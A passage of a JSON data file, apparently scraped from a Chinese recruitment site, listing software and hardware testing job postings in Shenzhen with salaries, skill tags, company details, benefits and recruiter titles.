1, "iconWord": "", "skills": [ "软件测试", "整机测试", "通信", "车联网" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "大学城", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 6, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681970464000, "encryptBrandId": "2e835a2ad730222b0HFy29-6", "brandName": "深圳市锐明技术", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/7685b134a8044652f5edd59beafdc08dcfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "已上市", "brandIndustry": "智能硬件", "brandScaleName": "1000-9999人", "welfareList": [ "定期体检", "五险一金", "带薪年假", "年终奖", "员工旅游", "餐补" ], "industry": 100018, "contact": false }, { "securityId": "Ys8uYG5OBl2D3-A1O2CZ1AAn7giMqWATF6zcPEJk3fwbHZnRA4QXqzxIIF3FyoXxR36FURxYBTMgiJiruplPsiOIJJ43Vt7zPYS8nQ3MnOuKo_pG", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20191019/a3a278026358d372bd0a39c02b13fb6407c01ddb4df7f456673818c779b257e5_s.png", "bossCert": 3, "encryptBossId": "d14a7b492def4fbe0H160tu4F1M~", "bossName": "吕女士", "bossTitle": "人力经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "006eb04952079d6b0XR-09W1F1c~", "expectId": 0, "jobName": "测试", "lid": "9wrLRd13ZJ8.search.7", "salaryDesc": "10-15K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "硬件测试", "通信测试", "通信", "移动端测试", "测试工程师" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "宝安区", "businessDistrict": "松岗", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 7, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1680768636000, "encryptBrandId": "565fd49aa94d23670XZ92Ny7FQ~~", "brandName": "大唐联仪", "brandLogo": "https://img.bosszhipin.com/beijin/app/mobile/normal-0e3f1e4441a21d4874cece3a3d81f0fe.png", "brandStageName": "", "brandIndustry": "通信/网络设备", "brandScaleName": "20-99人", "welfareList": [], "industry": 100024, "contact": false }, { "securityId": "m5C1HWPEtGEDy-M1oVFJkXBAS5-DmnqSeGW4M93NV3jP-sSEf3QBZv1j6QFIgPg2FIqTSuqll9JHHLsubEevIHkw-AzB_DeT3ue5DTnQz7JbrdCd", "bossAvatar": "https://img.bosszhipin.com/beijin/mcs/useravatar/20190307/0bc7c711d970e066790c544e887514890e9a9f60d2f6e2b53643622595e856f3_s.jpg", "bossCert": 3, "encryptBossId": "32b6135f753d7acc0nJ-0tq7GFo~", "bossName": "涂女士", "bossTitle": "招聘主管", "goldHunter": 0, "bossOnline": false, "encryptJobId": "612b466ca28524571XN939S4ElBQ", "expectId": 0, "jobName": "高级测试", "lid": "9wrLRd13ZJ8.search.8", "salaryDesc": "13-15K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "Python", "app测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "前海", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 8, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692061989000, "encryptBrandId": "e715aa1be4283fc21nd62tq5", "brandName": "博彦科技", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/eb7c416aa1c228b43cbae35dbf1e6990cfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "已上市", "brandIndustry": "计算机软件", "brandScaleName": "10000人以上", "welfareList": [ "五险一金", "定期体检", "免费班车", "节日福利", "年终奖", "带薪年假" ], "industry": 100021, "contact": false }, { "securityId": "QqZ89eh1KveSq-f1hsEKoVOc5zjMuAn8MV5TPiA4vc1IVomg-ONe6pruSuwwxGPlFaLONMljEoQW69mDDjqUesz8PPSrIrZknP7XJh3XM_1cvXaTNg~~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_14.png", "bossCert": 3, "encryptBossId": "87b3e657b32bbdea1nV929u4FFY~", "bossName": "胡先生", "bossTitle": "测试工程师", "goldHunter": 0, "bossOnline": false, "encryptJobId": "0b8ad18e880961fd1X173Nq_E1RT", "expectId": 0, "jobName": "软件测试", "lid": "9wrLRd13ZJ8.search.9", "salaryDesc": "15-25K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "Shell", "性能测试", "功能测试", "Postman", "Python" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 9, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692057996000, "encryptBrandId": "cf3e8d3db0a66ac81XV92di1Ew~~", "brandName": "趣店集团", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20220311/7bf6f160950405e9433a8d3f207e7fa6ec516161d2eb94fbf775bff299a43ba3b4cee4bd4a30a81a.jpg", "brandStageName": "已上市", "brandIndustry": "互联网", "brandScaleName": "1000-9999人", "welfareList": [ "节日福利", "带薪年假", "定期体检", "五险一金" ], "industry": 100020, "contact": false }, { "securityId": "BLUDyYllyfTsy-51UiS5okroV8gqw8EhpHbCrKd77IoR3PcBAoAxNPqfOBkHmuuY-UXWbWfhGI1cSNYRU8hBiJIh24xKJ5Ieak8B8MzYRQXt2bjDo6Zd", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_1.png", "bossCert": 3, "encryptBossId": "1d1232075e72444b1nZ-2tW0ElFR", "bossName": "王先生", "bossTitle": "经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "d4cdaa0596cd9ee21XJ93N-5F1dR", "expectId": 0, "jobName": "测试主管", "lid": "9wrLRd13ZJ8.search.10", "salaryDesc": "13-26K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "性能测试", "材料测试", "可靠性测试", "材料检测" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "光明区", "businessDistrict": "光明", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 10, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1687170153000, "encryptBrandId": "7376b4ef7f7cd0041nVy2d27GVs~", "brandName": "深圳飞鸿达科技", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20210520/aefce1503395849df713e62ade6e27d2186b4470612382b8658c1be4706b4492.jpg", "brandStageName": "不需要融资", "brandIndustry": "原材料及加工/模具", "brandScaleName": "100-499人", "welfareList": [ "绩效奖金", "员工旅游", "零食下午茶", "带薪年假", "节日福利", "年终奖" ], "industry": 100903, "contact": false }, { "securityId": "_PHEXMkW20KFc-51qkKqRYFZQgc6z3WhRd-_H-YSV86R5wVR2IaQwovJ09RPwBC1kHqHmM5b5tZCYETnl8Mb_Fn_hcwfwgQPV_9tQighPORHyjhYvSA~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_6.png", "bossCert": 3, "encryptBossId": "2f29d6ea9db9694a1HNz2tq8FFA~", "bossName": "徐先生", "bossTitle": "IT技术中心副总监", "goldHunter": 0, "bossOnline": false, "encryptJobId": "0d60c0073366607e1nJ83N6_FVZZ", "expectId": 0, "jobName": "测试经理", "lid": "9wrLRd13ZJ8.search.11", "salaryDesc": "15-20K·13薪", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "自动化测试", "性能测试", "压力测试", "安全测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "车公庙", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 11, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681970849000, "encryptBrandId": "db75c7534bf09f531nd63tm4E1A~", "brandName": "华强电子网集团", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20201126/87fd7ff2fa1ba67741ed65ceba27af3711f0b990c6f34074230629544e23d418_s.jpg", "brandStageName": "不需要融资", "brandIndustry": "电子/半导体/集成电路", "brandScaleName": "500-999人", "welfareList": [ "五险一金", "零食下午茶", "定期体检", "带薪年假", "加班补助", "节日福利", "补充医疗保险", "员工旅游", "年终奖", "羽毛球" ], "industry": 100026, "contact": false }, { "securityId": "RJAP517WZUtTY-x1gUzsTs6XaqbcYXmnaTgw4YY6xI8Vy_oNCYmA6ElFESRFwOkzPQFhvq1urheCRUtCznGtqOLHXJswOcSIlLGC8_YCNseqSLGCPcEn", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20220521/607f1f3d68754fd085a29a4a0189bf8608c733dbb83cdd4934a9d68455fee69f8499c0db164862b9_s.jpg", "bossCert": 3, "encryptBossId": "6dc156e9ae8896ca0nRy3Ny0FVVU", "bossName": "齐女士", "bossTitle": "人事主管", "goldHunter": 0, "bossOnline": false, "encryptJobId": "06b8f40867edbe5f1HR42t--EVZZ", "expectId": 0, "jobName": "软件测试", "lid": "9wrLRd13ZJ8.search.12", "salaryDesc": "9-12K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "自动化测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "西丽", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 12, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1691552340000, "encryptBrandId": "93b8560cab5eb5b61nd829i-F1s~", "brandName": "明月华炎", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/66b981f075ef7b3384e72a284b367076cfcd208495d565ef66e7dff9f98764da.png", "brandStageName": "未融资", "brandIndustry": "通信/网络设备", "brandScaleName": "100-499人", "welfareList": [], "industry": 100024, "contact": false }, { "securityId": "EJik8MvfLNyU6-D15bf6iBCoZG8_5QHmCXx5pIkW2y9BH3P8QRMs9BbiIyY5uWNLD_zjmGyziUfsP5j11dCxGYfasOzefMiK6JVVEL3wqTM~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_14.png", "bossCert": 3, "encryptBossId": "9f2b2e0162808b140nNz29-_Eg~~", "bossName": "彭先生", "bossTitle": "测试经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "8db727fbbcbeaa640XB609q5EFA~", "expectId": 0, "jobName": "测试", "lid": "9wrLRd13ZJ8.search.13", "salaryDesc": "13-26K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "测试工程师", "自动化测试", "渗透测试", "Python", "Java", "容器技术", "云计算", "数据库" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 13, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1680883438000, "encryptBrandId": "df7dc13a6c68726a1XR53Q~~", "brandName": "顺丰科技", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/de4268c1b162e27a058962a048850a43cfcd208495d565ef66e7dff9f98764da.png", "brandStageName": "不需要融资", "brandIndustry": "互联网", "brandScaleName": "1000-9999人", "welfareList": [ "零食下午茶", "股票期权", "员工旅游", "餐补", "年终奖", "五险一金", "节日福利", "带薪年假", "交通补助", "定期体检", "加班补助", "免费班车", "通讯补贴", "包吃" ], "industry": 100020, "contact": false }, { "securityId": "jvUzc9_cjS5Ud-s1uBKjelTEE1icXYVmo6SGUgJJ5HZnnNViL1EUnFYhPq7i-yftbQo0c8L7IoTi8f_ormZoV-xgv7Zgw08fgJB-L1PAegSja2nTHw~~", "bossAvatar": "https://img.bosszhipin.com/beijin/mcs/useravatar/20190503/57ee0161797c85937b76e9b15ab64f7acfcd208495d565ef66e7dff9f98764da_s.jpg", "bossCert": 3, "encryptBossId": "36651d348d6ce35f0XV83tu4FlU~", "bossName": "欧先生", "bossTitle": "总监", "goldHunter": 0, "bossOnline": false, "encryptJobId": "43ccc4894ae1706e1nx70tW9FFFW", "expectId": 0, "jobName": "测试", "lid": "9wrLRd13ZJ8.search.14", "salaryDesc": "7-11K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "软件测试", "自动化测试", "Appium" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 14, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1685492598000, "encryptBrandId": "894d61752ea37a041HBy0tW9Fg~~", "brandName": "庆庆派对", "brandLogo": "https://img.bosszhipin.com/beijin/upload/tmp/20190417/a24b3003526dec126a3027ea4bf77e54a63eb9849a9f06b324c9930590fba5c6.png", "brandStageName": "未融资", "brandIndustry": "移动互联网", "brandScaleName": "0-20人", "welfareList": [ "五险一金" ], "industry": 100019, "contact": false }, { "securityId": "CPKNeJaUz1-Ya-P1YCRE67owtE2F2JGtDVY3OscEYZE_-p6fSY8Tt_hdGmlfun3GObL8XHjpCyDuwYahtWLVTBt6HH1DaZJTBm-bHDFr_1GdKNwfSipD", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/tmp/20201023/54f1780a634235d7c6bd07a1d93dcbbef47ff18ac37be5692c76b38b0f34f715_s.jpg", "bossCert": 3, "encryptBossId": "d51d119513b170b50nR-0ty9E1tQ", "bossName": "盘女士", "bossTitle": "招聘经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "262bc686f99318431nR_0tW_GVRS", "expectId": 0, "jobName": "测试", "lid": "9wrLRd13ZJ8.search.15", "salaryDesc": "17-27K·15薪", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "测试", "测试工程师", "软件测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "新洲", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 15, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681872690000, "encryptBrandId": "c52f565e92deca841nV53Ny-FVM~", "brandName": "禾月科技", "brandLogo": "https://img.bosszhipin.com/beijin/icon/894ce6fa7e58d64d57e7f22d2f3a9d18afa7fcceaa24b8ea28f56f1bb14732c0.png", "brandStageName": "不需要融资", "brandIndustry": "互联网", "brandScaleName": "500-999人", "welfareList": [ "员工旅游", "定期体检", "加班补助", "年终奖", "五险一金", "餐补", "节日福利", "带薪年假" ], "industry": 100020, "contact": false }, { "securityId": "2BPTQOUj_kA8T-V1pePN7V2FX9qcm35baeGHNBfss8LNhU7Irc4LBsulOwuaJXTLgA3tr2-_uXeJa7TMw7SHAZjZAWPuddSzGfyk4863ZmDJOjOeGdwA", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20210301/057d7d63b3c90e1d57d36fe894b7e0e212f7c741df31b7cef51c9b08f3c5d8e4_s.jpg", "bossCert": 3, "encryptBossId": "83f9b163ebf4f5130nVz2Nm5FltX", "bossName": "张女士", "bossTitle": "招聘经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "14edcc1e9b8d50821Xx52ti5EVpR", "expectId": 0, "jobName": "测试", "lid": "9wrLRd13ZJ8.search.16", "salaryDesc": "15-25K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "通信相关专业", "不限", "BMS", "储存" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 16, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692169206000, "encryptBrandId": "4a99a5fdd637b4b61nF82di1F1c~", "brandName": "武汉新致", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/logo/20210423/6fbae351312e4d07ebf668d22cf89b4ef0847cbf4ea1ebbfd686e6ff474d2dff.png", "brandStageName": "已上市", "brandIndustry": "计算机软件", "brandScaleName": "1000-9999人", "welfareList": [ "五险一金", "节日福利", "零食下午茶", "带薪年假", "免费班车" ], "industry": 100021, "contact": false }, { "securityId": "xPDgn4RXwvbUY-e1UqBQLuALa2AIT98Q9EjaWfugy8BbHAJl9oiwqVS4UooAElQvrEj1ATXNgkMNL_4aiqOTpee3nUgzYaeJ0f1LuMvO49WLgECojw~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20200519/bea9a4cdf0da5d22da82c44dcd4eaf7795674376da5fba34f709c50e3a2d10ca_s.png", "bossCert": 3, "encryptBossId": "04b28161cb34b9450HR_0t-4EFI~", "bossName": "赵女士", "bossTitle": "HR", "goldHunter": 0, "bossOnline": false, "encryptJobId": "6e5c94310e80a4421nJz29-7FFRW", "expectId": 0, "jobName": "测试", "lid": "9wrLRd13ZJ8.search.17", "salaryDesc": "11-16K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试", "接口测试", "Oracle", "MySQL", "性能测试", "软件测试", "自动化测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "新洲", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 17, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1687150303000, "encryptBrandId": "4920386cfa32ecf81nNz09-9EA~~", "brandName": "睿服科技", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/c4c2fc65beaf4b2256d6aba8154a9543cfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "不需要融资", "brandIndustry": "计算机软件", "brandScaleName": "1000-9999人", "welfareList": [ "年终奖", "定期体检", "节日福利", "带薪年假", "五险一金" ], "industry": 100021, "contact": false }, { "securityId": "qBchiw7Aa9AR3-T1VAyN-WxrblYTn6lcrgkKfu5jeg3GO_Dv9gpjphthUbYovk8v6JtjLU14NvLmwF1Q7X2AMPT6vryZ4fN0mrO0fGscrtuyOJFukXyM", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20220419/607f1f3d68754fd0008aea5ffb4dad36c241d01e16ffe5b1be6e2cf5ce1cc2dffc9a4c91e5b6e614_s.jpg", "bossCert": 3, "encryptBossId": "d1df6f6725e41a980nZ52d24F1RX", "bossName": "黎女士", "bossTitle": "Hr", "goldHunter": 0, "bossOnline": false, "encryptJobId": "26d83de00c7cc5591Xx82dy8GFZY", "expectId": 0, "jobName": "测试", "lid": "9wrLRd13ZJ8.search.18", "salaryDesc": "12-15K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "自动化测试", "功能测试", "性能测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "龙岗区", "businessDistrict": "坂田", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 18, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692167007000, "encryptBrandId": "c8311034740eee121nVz09S7E1U~", "brandName": "软通动力", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/logo/20210830/7b5b554d84f9729cb81dae6da87b9eddbf6e3e481ce34ae8c7421cffdbdea8d6f11cda4aeefd5586.jpg", "brandStageName": "已上市", "brandIndustry": "计算机软件", "brandScaleName": "10000人以上", "welfareList": [ "生日福利", "补充医疗保险", "五险一金", "加班补助", "交通补助", "团建活动", "通讯补贴", "定期体检", "节日福利", "零食下午茶", "带薪年假", "免费班车" ], "industry": 100021, "contact": false }, { "securityId": "nZie2arlJZ2mw-L1mFSfwRAUaJRX_W6p425IaFgm-nTRrsDbb5YfrBtH8LVvg4KwyukXOPAXMCcjGya2BCh2h-Ld1wQpVrif6muAXY1-DMdLhpzZ", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20201220/9c8efa980f2905d55b3fd61f81792a4f289373fababf64750e8defb6b03ad72e_s.jpg", "bossCert": 3, "encryptBossId": "c86d85b7b57b6cde1XJ92Ni-Elc~", "bossName": "陈女士", "bossTitle": "招聘", "goldHunter": 0, "bossOnline": false, "encryptJobId": "ea6e209909994c371nV_3dm9FFdW", "expectId": 0, "jobName": "测试", "lid": "9wrLRd13ZJ8.search.19", "salaryDesc": "15-25K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "测试", "测试工程师", "测试开发", "功能测试", "自动化测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 19, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681871543000, "encryptBrandId": "c7d501c659671dc91nx63tq8", "brandName": "顺丰速运", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/banner/46a8d8c17d5c868ada8180ff93d4f0a5cfcd208495d565ef66e7dff9f98764da.png", "brandStageName": "已上市", "brandIndustry": "物流/仓储", "brandScaleName": "10000人以上", "welfareList": [ "带薪年假", "包吃", "零食下午茶", "交通补助", "补充医疗保险", "五险一金", "全勤奖", "加班补助", "定期体检", "餐补", "员工旅游", "通讯补贴", "住房补贴", "节日福利", "免费班车" ], "industry": 100502, "contact": false }, { "securityId": "Y8sy7kTh0K-14-K1oHEK5n0-NG06L6Nsuc-_ZyisKuwu1aL0mJ4FGsBbNitKP3jSZu75adTnnmv9-855aQxfYE1dGvG3WCzfRDLPGAGk0Hqbs3jx", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20191104/052ba890da3359896a6dfae9203157c27b8ec9bec5946480cf6b274666fb605d_s.png", "bossCert": 3, "encryptBossId": "123bc12112e8cb9633R82ti8FlI~", "bossName": "叶女士", "bossTitle": "测试主管", "goldHunter": 0, "bossOnline": false, "encryptJobId": "e7187b30f4be6ec61Xx73N66ElFT", "expectId": 0, "jobName": "软件测试", "lid": "9wrLRd13ZJ8.search.20", "salaryDesc": "10-15K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "医疗器械" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "光明区", "businessDistrict": "公明", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 20, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1691393905000, "encryptBrandId": "0c5c44afcd8208b01Xdy3924", "brandName": "科曼医疗", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20170224/dcd13284f0bdb878aec38b7c1c3a51dfdc7a7e8b2995db6bb1dc5b0ad5312621.jpg", "brandStageName": "不需要融资", "brandIndustry": "医疗健康", "brandScaleName": "1000-9999人", "welfareList": [ "年终奖", "全勤奖", "加班补助", "补充医疗保险", "五险一金", "带薪年假", "员工旅游", "节日福利" ], "industry": 100006, "contact": false }, { "securityId": "qnvTa2XuS4p87-s1OarwRToInNxHUyiWcx8tX5k76qWrGrTBzjBjQcC5mJuPpR0pp2qR_QkKXxJJRSylNcu62h_iBc3tTc22zXMt6IiI7NYWXA~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20210324/8d299046ecd42cbc0118d3fccf2e7812fbdcc3079b8a01272df03eb0c8738241_s.png", "bossCert": 3, "encryptBossId": "1120d252ae69763303N-2du1GVA~", "bossName": "张先生", "bossTitle": "软件测试工程师", "goldHunter": 0, "bossOnline": false, "encryptJobId": "15a7d6e1eef921561XNy0tS6GFtV", "expectId": 0, "jobName": "软件测试", "lid": "9wrLRd13ZJ8.search.21", "salaryDesc": "16-30K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "性能测试", "自动化测试", "功能测试", "Python", "Java", "测试开发", "接口测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "龙岗区", "businessDistrict": "华为坂田基地", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 21, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1686615919000, "encryptBrandId": "02cd05cce753437e33V50w~~", "brandName": "华为", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/logo/20200429/8f64c9d0b30a53c434b26799ca78966cec9b49ecaf1604cb263748f03d5c2b0f.png", "brandStageName": "不需要融资", "brandIndustry": "计算机软件", "brandScaleName": "10000人以上", "welfareList": [ "股票期权", "零食下午茶", "五险一金", "员工旅游", "定期体检", "餐补", "补充医疗保险", "年终奖", "加班补助", "节日福利" ], "industry": 100021, "contact": false }, { "securityId": "PsclqfhqiL3iB-217i3gm_5Z8R4BXxmng5AP97ECzyIWLeBZPZpQO0xyXF87xS5Aq1lB-gGivHrTSSlZ-5kTevWIRkzkKATjgpkEONYRZ9kmh2pZ", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230517/607f1f3d68754fd08d57afedada5f686ffd5deb35879f515d8d1199a0b3dbed40c5b2fb52bc85bce_s.png", "bossCert": 3, "encryptBossId": "2321956d3128fad60Hx52t-7EVc~", "bossName": "李女士", "bossTitle": "人事经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "60fd5e78a800bff51Xx83tq9F1VW", "expectId": 0, "jobName": "测试工程师", "lid": "9wrLRd13ZJ8.search.22", "salaryDesc": "10-15K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "性能测试", "自动化测试", "Python", "MySQL", "JMeter", "计算机相关专业", "通信相关专业", "测试工作经验", "基金/证券/银行" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "本科", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 22, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1691998371000, "encryptBrandId": "39ad5e10cf4242c503N50t27", "brandName": "橙色魔方", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20180713/bb201fa148762e1a198c4cb7b29dd37ecfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "未融资", "brandIndustry": "互联网", "brandScaleName": "500-999人", "welfareList": [ "员工旅游", "补充医疗保险", "定期体检", "加班补助", "五险一金", "带薪年假", "年终奖", "节日福利", "零食下午茶" ], "industry": 100020, "contact": false }, { "securityId": "EkGvh8Gq_Kqf7-X1kDQ6wFh7udZ700mu6q4UECri5doB5a3guSwa5kT7vxUdgObih_eulV9ODt7qjsVqu2GQlXfl30JDiyACEGt9eAt5NgNl0wX8bEk2", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_1.png", "bossCert": 3, "encryptBossId": "d63ef99a750aa99a0nV60t68FlpV", "bossName": "翟女士", "bossTitle": "HR", "goldHunter": 0, "bossOnline": false, "encryptJobId": "3769de8a800413c11XJ_2Nq-FVNX", "expectId": 0, "jobName": "测试工程师", "lid": "9wrLRd13ZJ8.search.23", "salaryDesc": "11-20K", "jobLabels": [ "3-5年", "本科" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "性能测试", "接口测试", "系统测试", "白盒测试" ], "jobExperience": "3-5年", 